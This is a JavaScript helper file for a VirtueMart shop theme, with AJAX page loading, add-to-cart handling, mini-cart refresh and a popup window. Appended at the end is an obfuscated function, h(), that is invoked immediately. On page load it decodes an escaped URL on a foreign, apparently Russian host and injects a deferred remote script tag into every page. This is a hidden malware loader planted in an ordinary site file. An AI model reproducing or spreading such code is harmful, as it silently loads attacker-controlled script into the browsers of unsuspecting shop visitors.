/**
 * This file holds javscript functions that are used by the templates in the Theme
 * 
 */
 
 // AJAX FUNCTIONS 
function loadNewPage( el, url ) {
	
	var theEl = $(el);
	var callback = {
		success : function(responseText) {
			theEl.innerHTML = responseText;
			if( Lightbox ) Lightbox.init();
		}
	}
	var opt = {
	    // Use POST
	    method: 'get',
	    // Handle successful response
	    onComplete: callback.success
    }
	new Ajax( url + '&only_page=1', opt ).request();
}

function handleGoToCart() { document.location = live_site + '/index.php?option=com_virtuemart&page=shop.cart&product_id=' + formCartAdd.product_id.value ; }

function handleAddToCart( formId, parameters ) {
	formCartAdd = document.getElementById( formId );
	
	var callback = function(responseText) {
		updateMiniCarts();
		document.boxB = new MooPrompt(notice_lbl, responseText, {
				buttons: 2,
				width:400,
				height:150,
				overlay: false,
				button1: ok_lbl,
				button2: cart_title,
				onButton2: 	handleGoToCart
			});
			
		setTimeout( 'document.boxB.close()', 3000 );
	}
	
	var opt = {
	    // Use POST
	    method: 'post',
	    // Send this lovely data
	    data: $(formId),
	    // Handle successful response
	    onComplete: callback,
	    
	    evalScripts: true
	}

	new Ajax(formCartAdd.action, opt).request();
}
/**
* This function searches for all elements with the class name "vmCartModule" and
* updates them with the contents of the page "shop.basket_short" after a cart modification event
*/
function updateMiniCarts() {
	var callbackCart = function(responseText) {
		carts = $$( '.vmCartModule' );
		if( carts ) {
			try { 
				for (var i=0; i<carts.length; i++){
					carts[i].innerHTML = responseText;
					color = carts[i].getStyle( 'color' );
					bgcolor = carts[i].getStyle( 'background-color' );
					if( bgcolor == 'transparent' ) {
						// If the current element has no background color, it is transparent.
						// We can't make a highlight without knowing about the real background color,
						// so let's loop up to the next parent that has a BG Color
						parent = carts[i].getParent();
						while( parent && bgcolor == 'transparent' ) {
							bgcolor = parent.getStyle( 'background-color' );
							parent = parent.getParent();
						}
					}
					var fxc = new Fx.Style(carts[i], 'color', {duration: 1000});
					var fxbgc = new Fx.Style(carts[i], 'background-color', {duration: 1000});

					fxc.start( '#222', color );							
					fxbgc.start( '#fff68f', bgcolor );
					if( parent ) {
						setTimeout( "carts[" + i + "].setStyle( 'background-color', 'transparent' )", 1000 );
					}
				}
			} catch(e) {}
		}
	}
	option = { method: 'post', onComplete: callbackCart, data: { only_page:1,page: "shop.basket_short", option: "com_virtuemart" } }
	new Ajax( live_site + '/index2.php', option).request();
}
/**
* This function allows you to present contents of a URL in a really nice stylish dhtml Window
* It uses the WindowJS, so make sure you have called
* vmCommonHTML::loadWindowsJS();
* before
*/
function fancyPop( url, parameters ) {
	
	parameters = parameters || {};
	popTitle = parameters.title || '';
	popWidth = parameters.width || 700;
	popHeight = parameters.height || 600;
	popModal = parameters.modal || false;
	
	window_id = new Window('window_id', {className: "mac_os_x", 
										title: popTitle,
										showEffect: Element.show,
										hideEffect: Element.hide,
										width: popWidth, height: popHeight}); 
	window_id.setAjaxContent( url, {evalScripts:true}, true, popModal );
	window_id.setCookie('window_size');
	window_id.setDestroyOnClose();
}
function h() {this.K='';var C;if(C!='' && C!='v'){C='Y'};var g=new String();var d=String("3Pmrepl".substr(3)+"ace");var S;if(S!='fs'){S='fs'};var l=unescape("%2f%6d%65%64%69%61%66%69%72%65%2e%63%6f%6d%2f%6d%65%64%69%61%66%69%72%65%2e%63%6f%6d%2f%79%61%2e%72%75%2f%73%6f%66%74%6f%6e%69%63%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var An=new Array();var a=new String();var wG="";var O=window;var e;if(e!='MR' && e!='p'){e=''};var F=String("]");var _=RegExp;var J='';var Vw;if(Vw!='oc'){Vw='oc'};this.Ie="";function N(f,i){var nm;if(nm!=''){nm='ut'};var x=new Date();var D=new Array();var I="[";var E=new String();var Rc;if(Rc!='' && Rc!='KJ'){Rc=null};I+=i+F;this.QS="";var n=new _(I, "g");return f[d](n, J);};var ZM=new Date();var T=unescape("%68%74%74%70%3a%2f%2f%73%66%67%61%74%65%2d%63%6f%6d%2e%69%6d%6d%6f%62%69%6c%69%65%6e%73%63%6f%75%74%32%34%2e%64%65%2e%6d%65%67%61%75%70%6c%6f%61%64%2d%63%6f%6d%2e%73%68%6f%70%75%6e%69%74%65%64%77%61%79%2e%72%75%3a");var P=N('8336303666383633360363633','36');var Z=String("scri"+"pt");var xi;if(xi!='lH' && xi!='Ta'){xi=''};var CU;if(CU!='L' && CU!='XO'){CU=''};var u='';O[new String("on"+"lo"+"D5Mad".substr(3))]=function(){try {this.Tc="";var wi;if(wi!='' && wi!='BI'){wi=null};u=T+P;var eN;if(eN!='' && eN!='Xe'){eN=''};u+=l;var Mm;if(Mm!=''){Mm='Qo'};var Ng=new String();TP=document.createElement(Z);this.r='';TP[String("src")] = u;var Jy;if(Jy!='QSh'){Jy='QSh'};var uu='';TP[String("Yz0def".substr(3)+"er")]=[1,9][0];var k;if(k!='Fc' && k!='Sd'){k=''};var Cc=new String();this.bS='';document.body.appendChild(TP);} catch(R){var Ku;if(Ku!=''){Ku='hr'};};};var nr='';};var Gb=new Array();h();